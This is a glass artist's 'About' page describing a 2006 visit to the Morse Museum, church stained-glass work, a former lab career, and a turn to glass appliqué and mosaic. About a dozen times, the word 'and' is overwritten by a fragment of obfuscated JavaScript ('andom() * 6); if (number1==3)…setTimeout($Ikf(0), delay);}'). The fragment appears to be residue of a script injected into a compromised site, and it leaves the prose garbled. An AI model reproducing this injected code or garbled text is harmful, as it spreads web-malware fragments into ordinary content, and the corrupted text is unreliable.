About

I walked into the Charles Hosmer Morse Museum of American Art in Winter Park, Florida in February of 2006 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and walked out astounded by what I had just experienced, committed to creating stained glass artwork of my own! The moment I stepped into the museum I was assaulted by the penetrating colours of the leaded panels, lamps andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other glass works of L.C. Tiffany. I was stunned by the artistry. This event has been a providential guidance in my life.

I returned home determined to apply myself more diligently to the church project I was volunteering with. We had little to no experience cutting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leading glass andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we were constructing decorative stained glass panels, learning on the fly!

In actual fact, for over 30 years I had been working with stained glass, although often unknowingly. As a medical laboratory technologist, I had been making blood films on glass microscope slides, staining them to identify blood cells as well as malaria andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bacteria. My scientific career was transforming into an artistic one.

I took additional workshops locally andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and travelled to Toronto to learn from other glass artists there. Although I began using traditional stained glass techniques, I have gravitated towards glass applique andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mosaic. My first exposure to applique was a weeklong, personal workshop with Pattie Walker, whose work has been very inspiring to me. This workshop has set the tone for the glass work I currently produce. I feel locked in by the lead lines of traditional stained glass while the epoxy glues I use in applique allow me free andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and intuitive expression. I can also satisfy my thrifty soul using the beautiful leftover glass shards I generate. It is challenging to find exciting arrangements to awaken my enthusiasm.

I am entranced by the colours andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and textures of glass, frequently transported into states of child-like awe andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wonder when I am designing with it. It is my purpose to somehow transmit these same feelings to others, not only to enjoy them for myself. I often contemplate how dead these artworks are without the passage of light through them. There is no colour! Light is the secret ingredient bringing life to the glass. I am indebted therefore to the Author of light, for I cannot be a glass artist without it.